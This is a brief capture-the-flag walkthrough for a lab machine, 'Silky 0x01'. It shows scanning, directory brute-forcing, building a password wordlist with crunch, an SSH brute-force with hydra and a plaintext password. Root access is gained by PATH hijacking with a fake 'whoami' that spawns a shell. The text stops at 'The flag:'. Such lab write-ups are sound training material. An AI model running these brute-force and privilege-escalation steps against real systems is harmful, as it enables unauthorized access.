CTF Silky 0x01

netdiscover

192.168.0.12

rustscan

1
rustscan -a 192.168.0.12

gobuster

1
gobuster dir -u http://192.168.0.12 -w Documents/wordlist/directory-list-2.3-medium.txt -x html,php,txt

1
gobuster dir -u http://192.168.0.12 -w Documents/wordlist/directory-list-2.3-medium.txt -x html,php,txt

http://192.168.0.12/notes.txt

1
2
3
Ich muss unbedingt das Passwort aus der Seite entfernen, immerhin fehlen die letzten 2 Zeichen. Aber trotzdem.

I really need to remove the password from the page, after all the last 2 characters are missing. But still.

view-source:http://192.168.0.12/script.js
// s1lKy

Wordlist

So the password should be at 7 charachters.
Let’s create a wordlist with crunch.

1
crunch 7 7 -t s1lKy^% > pass

Hydra

1
hydra -l silky -P pass 192.168.0.12 -t 10 -V ssh

ssh

1
2
ssh [email protected]
s1lKy#5

lse

/usr/bin/sky

1
/usr/bin/sky

Output:

1
2
3
Seide ist ein tierischer Faserstoff. Sie wird aus den Kokons der Seidenraupe, der Larve des Seidenspinners, gewonnen. 
gezeichnet:
root
1
strings /usr/bin/sky

Output:

He use whoami as root, let’s create our own whoami file.

1
2
3
4
5
cd /tmp
echo "/bin/sh" > whoami
chmod +x whoami
export PATH="/tmp:$PATH"
/usr/bin/sky

The flag: